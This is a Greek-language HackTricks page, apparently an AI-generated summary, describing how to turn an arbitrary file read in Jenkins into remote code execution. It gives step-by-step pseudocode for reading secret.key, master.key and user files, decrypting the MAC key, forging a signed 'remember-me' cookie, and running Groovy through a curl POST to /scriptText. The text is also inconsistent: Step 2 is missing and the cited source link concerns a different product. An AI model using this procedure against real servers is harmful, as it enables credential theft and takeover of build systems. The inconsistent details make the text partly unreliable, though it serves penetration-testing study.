Jenkins Arbitrary File Read to RCE via “Remember Me”

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Σε αυτή την ανάρτηση του blog είναι δυνατή η εύρεση ενός εξαιρετικού τρόπου για να μετατραπεί μια ευπάθεια Local File Inclusion στο Jenkins σε RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

Αυτό είναι ένα AI δημιουργημένο σύνοψη του μέρους της ανάρτησης όπου η δημιουργία ενός αυθαίρετου cookie κακοποιείται για να αποκτήσει RCE εκμεταλλευόμενη μια τοπική ανάγνωση αρχείου μέχρι να έχω χρόνο να δημιουργήσω μια σύνοψη μόνος μου:

Προαπαιτούμενα Επίθεσης

  • Απαιτούμενη Λειτουργία: Το “Remember me” πρέπει να είναι ενεργοποιημένο (προεπιλεγμένη ρύθμιση).
  • Επίπεδα Πρόσβασης: Ο επιτιθέμενος χρειάζεται συνολικές/αναγνωστικές άδειες.
  • Μυστική Πρόσβαση: Ικανότητα ανάγνωσης τόσο δυαδικού όσο και κειμενικού περιεχομένου από βασικά αρχεία.

Λεπτομερής Διαδικασία Εκμετάλλευσης

Βήμα 1: Συλλογή Δεδομένων

Ανάκτηση Πληροφοριών Χρήστη

  • Πρόσβαση στη διαμόρφωση χρήστη και τα μυστικά από $JENKINS_HOME/users/*.xml για κάθε χρήστη για να συγκεντρωθούν:
  • Όνομα Χρήστη
  • Seed Χρήστη
  • Χρονική Σημείωση
  • Hash Κωδικού

Εξαγωγή Μυστικού Κλειδιού

  • Εξαγωγή κρυπτογραφικών κλειδιών που χρησιμοποιούνται για την υπογραφή του cookie:
  • Μυστικό Κλειδί: $JENKINS_HOME/secret.key
  • Κύριο Κλειδί: $JENKINS_HOME/secrets/master.key
  • Αρχείο Κλειδιού MAC: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Προετοιμασία Token

  • Υπολογισμός Χρόνου Λήξης Token:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Προσθέτει μία ώρα στην τρέχουσα ώρα
  • Συγκέντρωση Δεδομένων για το Token:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

Αποκρυπτογράφηση Κλειδιού MAC

  • Αποκρυπτογράφηση Αρχείου Κλειδιού MAC:
key = toAes128Key(masterKey)  // Μετατροπή του κύριου κλειδιού σε μορφή AES128
decrypted = AES.decrypt(macFile, key)  // Αποκρυπτογράφηση του αρχείου .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Υπολογισμός Υπογραφής

  • Υπολογισμός HMAC SHA256:
mac = HmacSHA256(token, macKey) // Υπολογισμός HMAC χρησιμοποιώντας το token και το κλειδί MAC
tokenSignature = bytesToHexString(mac) // Μετατροπή του MAC σε δεκαεξαδική συμβολοσειρά

Κωδικοποίηση Cookie

  • Δημιουργία Τελικού Cookie:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Κωδικοποίηση Base64 των δεδομένων cookie

Βήμα 3: Εκτέλεση Κώδικα

Αυθεντικοποίηση Συνεδρίας

  • Ανάκτηση CSRF και Συνεδριακών Tokens:
  • Κάντε ένα αίτημα στο /crumbIssuer/api/json για να αποκτήσετε Jenkins-Crumb.
  • Συλλέξτε το JSESSIONID από την απάντηση, το οποίο θα χρησιμοποιηθεί σε συνδυασμό με το cookie “remember-me”.

Αίτημα Εκτέλεσης Εντολής

  • Αποστολή POST Αιτήματος με Groovy Script:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Το Groovy script μπορεί να χρησιμοποιηθεί για την εκτέλεση εντολών σε επίπεδο συστήματος ή άλλων λειτουργιών μέσα στο περιβάλλον Jenkins.

Η παραδείγματος curl εντολή που παρέχεται δείχνει πώς να κάνετε ένα αίτημα στο Jenkins με τις απαραίτητες κεφαλίδες και cookies για να εκτελέσετε αυθαίρετο κώδικα με ασφάλεια.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks